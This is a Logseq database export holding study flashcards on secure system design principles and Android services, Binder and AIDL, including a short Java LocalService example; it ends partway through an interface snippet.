policylogseq____",536870916]],[logseq____"^15logseq____",[240,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[240,logseq____"^Flogseq____",54,536870916]],[logseq____"^15logseq____",[240,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[240,logseq____"^Vlogseq____",54,536870916]],[logseq____"^15logseq____",[240,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[240,logseq____"^;logseq____",logseq____"~u67b83fac-1b84-4b3d-9f36-bfb6cd14ed86logseq____",536870916]],[logseq____"^15logseq____",[241,logseq____"^Qlogseq____",logseq____"## Modularity/Compartmentalization\\nid:: 67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____",536870916]],[logseq____"^15logseq____",[241,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[241,logseq____"^Flogseq____",231,536870916]],[logseq____"^15logseq____",[241,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[241,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[241,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[241,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[241,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536870916]],[logseq____"^15logseq____",[241,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____"],536870916]],[logseq____"^15logseq____",[241,logseq____"^;logseq____",logseq____"~u67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____",536870916]],[logseq____"^15logseq____",[242,logseq____"^Qlogseq____",logseq____"Critical resources should be isolated physically or logically, e.g., *encapsulation*logseq____",536870916]],[logseq____"^15logseq____",[242,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[242,logseq____"^Flogseq____",231,536870916]],[logseq____"^15logseq____",[242,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[242,logseq____"^Vlogseq____",231,536870916]],[logseq____"^15logseq____",[242,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[242,logseq____"^;logseq____",logseq____"~u67b83fac-3f8b-4f61-86a2-5ce20f4d4ff3logseq____",536870916]],[logseq____"^15logseq____",[243,logseq____"^Qlogseq____",logseq____"## Defense-In-Depthlogseq____",536870916]],[logseq____"^15logseq____",[243,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[243,logseq____"^Flogseq____",241,536870916]],[logseq____"^15logseq____",[243,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[243,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[243,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[243,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[243,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[243,logseq____"^;logseq____",logseq____"~u67b83fac-caca-4e70-b555-5fa4b05be0a9logseq____",536870916]],[logseq____"^15logseq____",[244,logseq____"^Qlogseq____",logseq____"### Component Design at Different Levelslogseq____",536870916]],[logseq____"^15logseq____",[244,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[244,logseq____"^Flogseq____",255,536870916]],[logseq____"^15logseq____",[244,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[244,logseq____"^Vlogseq____",241,536870916]],[logseq____"^15logseq____",[244,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[244,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[244,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[244,logseq____"^;logseq____",logseq____"~u67b83fac-02df-44c3-8425-0b73acdccaaalogseq____",536870916]],[logseq____"^15logseq____",[245,logseq____"^Qlogseq____",logseq____"Require multiple privilege attributes for accessing restricted resourceslogseq____",536870916]],[logseq____"^15logseq____",[245,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[245,logseq____"^Flogseq____",249,536870916]],[logseq____"^15logseq____",[245,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[245,logseq____"^Vlogseq____",249,536870916]],[logseq____"^15logseq____",[245,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[245,logseq____"^;logseq____",logseq____"~u67b83fac-0b2d-4f66-b7f8-9c88ec9c65f2logseq____",536870916]],[logseq____"^15logseq____",[246,logseq____"^Qlogseq____",logseq____"Do not give out more permissions than absolutely necessarylogseq____",536870916]],[logseq____"^15logseq____",[246,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[246,logseq____"^Flogseq____",234,536870916]],[logseq____"^15logseq____",[246,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[246,logseq____"^Vlogseq____",234,536870916]],[logseq____"^15logseq____",[246,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[246,logseq____"^;logseq____",logseq____"~u67b83fac-5d38-4c86-8293-c76b5e2e721blogseq____",536870916]],[logseq____"^15logseq____",[247,logseq____"^Qlogseq____",logseq____"## Minimum Exposurelogseq____",536870916]],[logseq____"^15logseq____",[247,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[247,logseq____"^Flogseq____",237,536870916]],[logseq____"^15logseq____",[247,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[247,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[247,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[247,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[247,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[247,logseq____"^;logseq____",logseq____"~u67b83fac-b5ec-411a-b621-75d0722ca55dlogseq____",536870916]],[logseq____"^15logseq____",[248,logseq____"^Qlogseq____",logseq____"Multiple, overlapping protection mechanismslogseq____",536870916]],[logseq____"^15logseq____",[248,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[248,logseq____"^Flogseq____",243,536870916]],[logseq____"^15logseq____",[248,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[248,logseq____"^Vlogseq____",243,536870916]],[logseq____"^15logseq____",[248,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[248,logseq____"^;logseq____",logseq____"~u67b83fac-da53-4112-b161-2de9b76d51c6logseq____",536870916]],[logseq____"^15logseq____",[249,logseq____"^Qlogseq____",logseq____"## Separation of Privilegelogseq____",536870916]],[logseq____"^15logseq____",[249,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[249,logseq____"^Flogseq____",236,536870916]],[logseq____"^15logseq____",[249,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[249,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[249,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[249,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[249,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[249,logseq____"^;logseq____",logseq____"~u67b83fac-5b70-4de9-be57-8e745e3c8753logseq____",536870916]],[logseq____"^15logseq____",[250,logseq____"^Qlogseq____",logseq____"Utilize OS mechanismslogseq____",536870916]],[logseq____"^15logseq____",[250,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[250,logseq____"^Flogseq____",251,536870916]],[logseq____"^15logseq____",[250,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[250,logseq____"^Vlogseq____",244,536870916]],[logseq____"^15logseq____",[250,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[250,logseq____"^;logseq____",logseq____"~u67b83fac-73cc-45fc-b017-f9e9e8a2feb4logseq____",536870916]],[logseq____"^15logseq____",[251,logseq____"^Qlogseq____",logseq____"Split software into moduleslogseq____",536870916]],[logseq____"^15logseq____",[251,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[251,logseq____"^Flogseq____",244,536870916]],[logseq____"^15logseq____",[251,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[251,logseq____"^Vlogseq____",244,536870916]],[logseq____"^15logseq____",[251,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[251,logseq____"^;logseq____",logseq____"~u67b83fac-42b8-4e95-9d27-05c60d331649logseq____",536870916]],[logseq____"^15logseq____",[252,logseq____"^Qlogseq____",logseq____"System should go into a secure state in the event of failures*logseq____",536870916]],[logseq____"^15logseq____",[252,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[252,logseq____"^Flogseq____",228,536870916]],[logseq____"^15logseq____",[252,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[252,logseq____"^Vlogseq____",228,536870916]],[logseq____"^15logseq____",[252,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[252,logseq____"^;logseq____",logseq____"~u67b83fac-d605-41c1-bfd1-c2fd677b1f89logseq____",536870916]],[logseq____"^15logseq____",[253,logseq____"^Qlogseq____",logseq____"Minimize systemlogseq____'s attack surfacelogseq____",536870916]],[logseq____"^15logseq____",[253,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[253,logseq____"^Flogseq____",247,536870916]],[logseq____"^15logseq____",[253,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[253,logseq____"^Vlogseq____",247,536870916]],[logseq____"^15logseq____",[253,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[253,logseq____"^;logseq____",logseq____"~u67b83fac-5df3-4b5f-bf13-330ec7960c3dlogseq____",536870916]],[logseq____"^15logseq____",[254,logseq____"^Qlogseq____",logseq____"## Acceptance by Userslogseq____",536870916]],[logseq____"^15logseq____",[254,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[254,logseq____"^Flogseq____",233,536870916]],[logseq____"^15logseq____",[254,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[254,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[254,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[254,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[254,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[254,logseq____"^;logseq____",logseq____"~u67b83fac-f0d2-4f4f-947b-7da20eecf20clogseq____",536870916]],[logseq____"^15logseq____",[255,logseq____"^Qlogseq____",logseq____"Modular system architecture and security mechanismslogseq____",536870916]],[logseq____"^15logseq____",[255,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[255,logseq____"^Flogseq____",241,536870916]],[logseq____"^15logseq____",[255,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[255,logseq____"^Vlogseq____",241,536870916]],[logseq____"^15logseq____",[255,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[255,logseq____"^;logseq____",logseq____"~u67b83fac-a3b1-452a-a64d-1639544dfb31logseq____",536870916]],[logseq____"^15logseq____",[257,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[257,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[257,logseq____"^Ylogseq____",logseq____"security considerationslogseq____",536870916]],[logseq____"^15logseq____",[257,logseq____"^11logseq____",logseq____"Security Considerationslogseq____",536870916]],[logseq____"^15logseq____",[257,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[257,logseq____"^;logseq____",logseq____"~u67b983c6-350b-469b-b509-b17e8bce851alogseq____",536873220]],[logseq____"^15logseq____",[258,logseq____"^Qlogseq____",logseq____"## Objectives #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[258,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[258,logseq____"^Flogseq____",257,536870916]],[logseq____"^15logseq____",[258,logseq____"^Xlogseq____",257,536870916]],[logseq____"^15logseq____",[258,logseq____"^Vlogseq____",257,536870916]],[logseq____"^15logseq____",[258,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[258,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[258,logseq____"^Ulogseq____",257,536870916]],[logseq____"^15logseq____",[258,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[258,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[258,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[258,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[258,logseq____"^;logseq____",logseq____"~u67b83fac-84f7-4ab7-a6a8-7e7e7360f196logseq____",536870916]],[logseq____"^15logseq____",[259,logseq____"^Qlogseq____",logseq____"*Confidentiality*: No unauthorized information accesseslogseq____",536870916]],[logseq____"^15logseq____",[259,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[259,logseq____"^Flogseq____",258,536870916]],[logseq____"^15logseq____",[259,logseq____"^Xlogseq____",257,536870916]],[logseq____"^15logseq____",[259,logseq____"^Vlogseq____",258,536870916]],[logseq____"^15logseq____",[259,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[259,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[259,logseq____"^Ulogseq____",257,536870916]],[logseq____"^15logseq____",[259,logseq____"^;logseq____",logseq____"~u67b83fac-1431-4f6d-99a3-9f100f8b1d77logseq____",536870916]],[logseq____"^15logseq____",[260,logseq____"^Qlogseq____",logseq____"*Integrity*: No unauthorized data modificationslogseq____",536870916]],[logseq____"^15logseq____",[260,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[260,logseq____"^Flogseq____",259,536870916]],[logseq____"^15logseq____",[260,logseq____"^Xlogseq____",257,536870916]],[logseq____"^15logseq____",[260,logseq____"^Vlogseq____",258,536870916]],[logseq____"^15logseq____",[260,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[260,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[260,logseq____"^Ulogseq____",257,536870916]],[logseq____"^15logseq____",[260,logseq____"^;logseq____",logseq____"~u67b83fac-325d-422c-a0fb-ec3275dcdb98logseq____",536870916]],[logseq____"^15logseq____",[261,logseq____"^Qlogseq____",logseq____"*Availiability*: Timely and reliable accesslogseq____",536870916]],[logseq____"^15logseq____",[261,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[261,logseq____"^Flogseq____",260,536870916]],[logseq____"^15logseq____",[261,logseq____"^Xlogseq____",257,536870916]],[logseq____"^15logseq____",[261,logseq____"^Vlogseq____",258,536870916]],[logseq____"^15logseq____",[261,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[261,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[261,logseq____"^Ulogseq____",257,536870916]],[logseq____"^15logseq____",[261,logseq____"^;logseq____",logseq____"~u67b83fac-9d31-4b0e-8fa5-da5fa7d2b92dlogseq____",536870916]],[logseq____"^15logseq____",[262,logseq____"^Qlogseq____",logseq____"*Authenticity*: Verify users are who they claim to belogseq____",536870916]],[logseq____"^15logseq____",[262,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[262,logseq____"^Flogseq____",261,536870916]],[logseq____"^15logseq____",[262,logseq____"^Xlogseq____",257,536870916]],[logseq____"^15logseq____",[262,logseq____"^Vlogseq____",258,536870916]],[logseq____"^15logseq____",[262,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[262,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[262,logseq____"^Ulogseq____",257,536870916]],[logseq____"^15logseq____",[262,logseq____"^;logseq____",logseq____"~u67b83fac-1048-43e8-8ca5-657fe971c65blogseq____",536870916]],[logseq____"^15logseq____",[263,logseq____"^Qlogseq____",logseq____"*Authorization*: Limit actions authenticated users are allowed to performlogseq____",536870916]],[logseq____"^15logseq____",[263,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[263,logseq____"^Flogseq____",262,536870916]],[logseq____"^15logseq____",[263,logseq____"^Xlogseq____",257,536870916]],[logseq____"^15logseq____",[263,logseq____"^Vlogseq____",258,536870916]],[logseq____"^15logseq____",[263,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[263,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[263,logseq____"^Ulogseq____",257,536870916]],[logseq____"^15logseq____",[263,logseq____"^;logseq____",logseq____"~u67b83fac-d8f3-4d64-9b03-a381056ef076logseq____",536870916]],[logseq____"^15logseq____",[265,logseq____"^Qlogseq____",logseq____"### Examplelogseq____",536870916]],[logseq____"^15logseq____",[265,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[265,logseq____"^Flogseq____",266,536870916]],[logseq____"^15logseq____",[265,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[265,logseq____"^Vlogseq____",280,536870916]],[logseq____"^15logseq____",[265,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[265,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[265,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[265,logseq____"^;logseq____",logseq____"~u67b83fac-fabb-48f4-a2a0-6640631dc225logseq____",536870916]],[logseq____"^15logseq____",[266,logseq____"^Qlogseq____",logseq____"Simply extend the Binder class instead of using AIDLlogseq____",536870916]],[logseq____"^15logseq____",[266,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[266,logseq____"^Flogseq____",280,536870916]],[logseq____"^15logseq____",[266,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[266,logseq____"^Vlogseq____",280,536870916]],[logseq____"^15logseq____",[266,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[266,logseq____"^;logseq____",logseq____"~u67b83fac-fea2-4728-b254-7f580a01cc7flogseq____",536870916]],[logseq____"^15logseq____",[267,logseq____"^Qlogseq____",logseq____"AIDL compiler creates a *skeleton* for the service (stub) and a *proxy object* abstracting the servicelogseq____",536870916]],[logseq____"^15logseq____",[267,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[267,logseq____"^Flogseq____",270,536870916]],[logseq____"^15logseq____",[267,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[267,logseq____"^Vlogseq____",269,536870916]],[logseq____"^15logseq____",[267,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[267,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[267,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[267,logseq____"^;logseq____",logseq____"~u67b83fac-eccf-45d0-a1f2-71bdf01b2b48logseq____",536870916]],[logseq____"^15logseq____",[268,logseq____"^Qlogseq____",logseq____"Can be invoked in different ways, i.e, client starts a service or client binds to a servicelogseq____",536870916]],[logseq____"^15logseq____",[268,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[268,logseq____"^Flogseq____",277,536870916]],[logseq____"^15logseq____",[268,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[268,logseq____"^Vlogseq____",278,536870916]],[logseq____"^15logseq____",[268,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[268,logseq____"^;logseq____",logseq____"~u67b83fac-958d-47b5-b694-c24e929fa961logseq____",536870916]],[logseq____"^15logseq____",[269,logseq____"^Qlogseq____",logseq____"Remote:logseq____",536870916]],[logseq____"^15logseq____",[269,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[269,logseq____"^Flogseq____",273,536870916]],[logseq____"^15logseq____",[269,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[269,logseq____"^Vlogseq____",273,536870916]],[logseq____"^15logseq____",[269,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[269,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[269,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[269,logseq____"^;logseq____",logseq____"~u67b83fac-5d00-4125-af92-d0b8ac775741logseq____",536870916]],[logseq____"^15logseq____",[270,logseq____"^Qlogseq____",logseq____"Define interface in *Android Interface Definition Language* (AIDL; domain-specific language)logseq____",536870916]],[logseq____"^15logseq____",[270,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[270,logseq____"^Flogseq____",269,536870916]],[logseq____"^15logseq____",[270,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[270,logseq____"^Vlogseq____",269,536870916]],[logseq____"^15logseq____",[270,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[270,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[270,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[270,logseq____"^;logseq____",logseq____"~u67b83fac-4f41-4178-a29b-c5aa0e9f0da6logseq____",536870916]],[logseq____"^15logseq____",[271,logseq____"^Qlogseq____",logseq____"Examples: Wi-Fi manager, Location managerlogseq____",536870916]],[logseq____"^15logseq____",[271,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[271,logseq____"^Flogseq____",267,536870916]],[logseq____"^15logseq____",[271,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[271,logseq____"^Vlogseq____",269,536870916]],[logseq____"^15logseq____",[271,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[271,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[271,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[271,logseq____"^;logseq____",logseq____"~u67b83fac-861e-4baf-9565-e3cc515b3d93logseq____",536870916]],[logseq____"^15logseq____",[272,logseq____"^Qlogseq____",logseq____"### Examplelogseq____",536870916]],[logseq____"^15logseq____",[272,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[272,logseq____"^Flogseq____",291,536870916]],[logseq____"^15logseq____",[272,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[272,logseq____"^Vlogseq____",293,536870916]],[logseq____"^15logseq____",[272,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[272,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[272,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[272,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[272,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[272,logseq____"^;logseq____",logseq____"~u67b83fac-8a27-4029-96ab-25c2339700d2logseq____",536870916]],[logseq____"^15logseq____",[273,logseq____"^Qlogseq____",logseq____"Can be *local* to an app or in a *remote process*logseq____",536870916]],[logseq____"^15logseq____",[273,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[273,logseq____"^Flogseq____",275,536870916]],[logseq____"^15logseq____",[273,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[273,logseq____"^Vlogseq____",274,536870916]],[logseq____"^15logseq____",[273,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[273,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[273,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[273,logseq____"^;logseq____",logseq____"~u67b83fac-c3e1-4cd4-aac7-695f469b891blogseq____",536870916]],[logseq____"^15logseq____",[274,logseq____"^Qlogseq____",logseq____"## General Information #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[274,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[274,logseq____"^Flogseq____",26,536870916]],[logseq____"^15logseq____",[274,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[274,logseq____"^Vlogseq____",26,536870916]],[logseq____"^15logseq____",[274,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[274,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[274,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[274,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[274,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[274,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[274,logseq____"^Hlogseq____",24,536870916]],[logseq____"^15logseq____",[274,logseq____"^;logseq____",logseq____"~u67b83fac-cfcb-43ba-8176-486d2fb69a0blogseq____",536870916]],[logseq____"^15logseq____",[275,logseq____"^Qlogseq____",logseq____"Background processes without user interactionlogseq____",536870916]],[logseq____"^15logseq____",[275,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[275,logseq____"^Flogseq____",274,536870916]],[logseq____"^15logseq____",[275,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[275,logseq____"^Vlogseq____",274,536870916]],[logseq____"^15logseq____",[275,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[275,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[275,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[275,logseq____"^;logseq____",logseq____"~u67b83fac-a217-4045-93c3-4db6c757fe0clogseq____",536870916]],[logseq____"^15logseq____",[276,logseq____"^Qlogseq____",logseq____"~```java\\npublic class LocalService extends Service {\\n private final IBinder binder = new LocalBinder();\\n private final Random mGenderator = Random();\\n \\n // No need to deal with IPC as service runs in same process as client\\n public class LocalBinder extends Binder {\\n LocalService getService() {\\n return LocalService.this; // clients can call public methods\\n }\\n }\\n \\n @Override\\n public IBinder onBind(Intent intent) {\\n return binder;\\n }\\n \\n // Method called by clients\\n public int getRandomNumber() {\\n return mGenerator.nextInt(100);\\n }\\n}\\n```logseq____",536870916]],[logseq____"^15logseq____",[276,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[276,logseq____"^Flogseq____",265,536870916]],[logseq____"^15logseq____",[276,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[276,logseq____"^Vlogseq____",265,536870916]],[logseq____"^15logseq____",[276,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[276,logseq____"^;logseq____",logseq____"~u67b83fac-de38-4a76-a859-b56df8a7d077logseq____",536870916]],[logseq____"^15logseq____",[277,logseq____"^Qlogseq____",logseq____"{:height 515, :width 389}logseq____",536870916]],[logseq____"^15logseq____",[277,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[277,logseq____"^Flogseq____",278,536870916]],[logseq____"^15logseq____",[277,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[277,logseq____"^Vlogseq____",278,536870916]],[logseq____"^15logseq____",[277,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[277,logseq____"^;logseq____",logseq____"~u67b83fac-3189-40b7-848d-82aac28e25c9logseq____",536870916]],[logseq____"^15logseq____",[278,logseq____"^Qlogseq____",logseq____"# Lifecyclelogseq____",536870916]],[logseq____"^15logseq____",[278,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[278,logseq____"^Flogseq____",274,536870916]],[logseq____"^15logseq____",[278,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[278,logseq____"^Vlogseq____",26,536870916]],[logseq____"^15logseq____",[278,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[278,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",1],536870916]],[logseq____"^15logseq____",[278,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[278,logseq____"^;logseq____",logseq____"~u67b83fac-5ef9-49ad-9ae1-f8e7eb5e2f12logseq____",536870916]],[logseq____"^15logseq____",[279,logseq____"^Qlogseq____",logseq____"~```java\\ninterface MySerice {\\n int foo(String 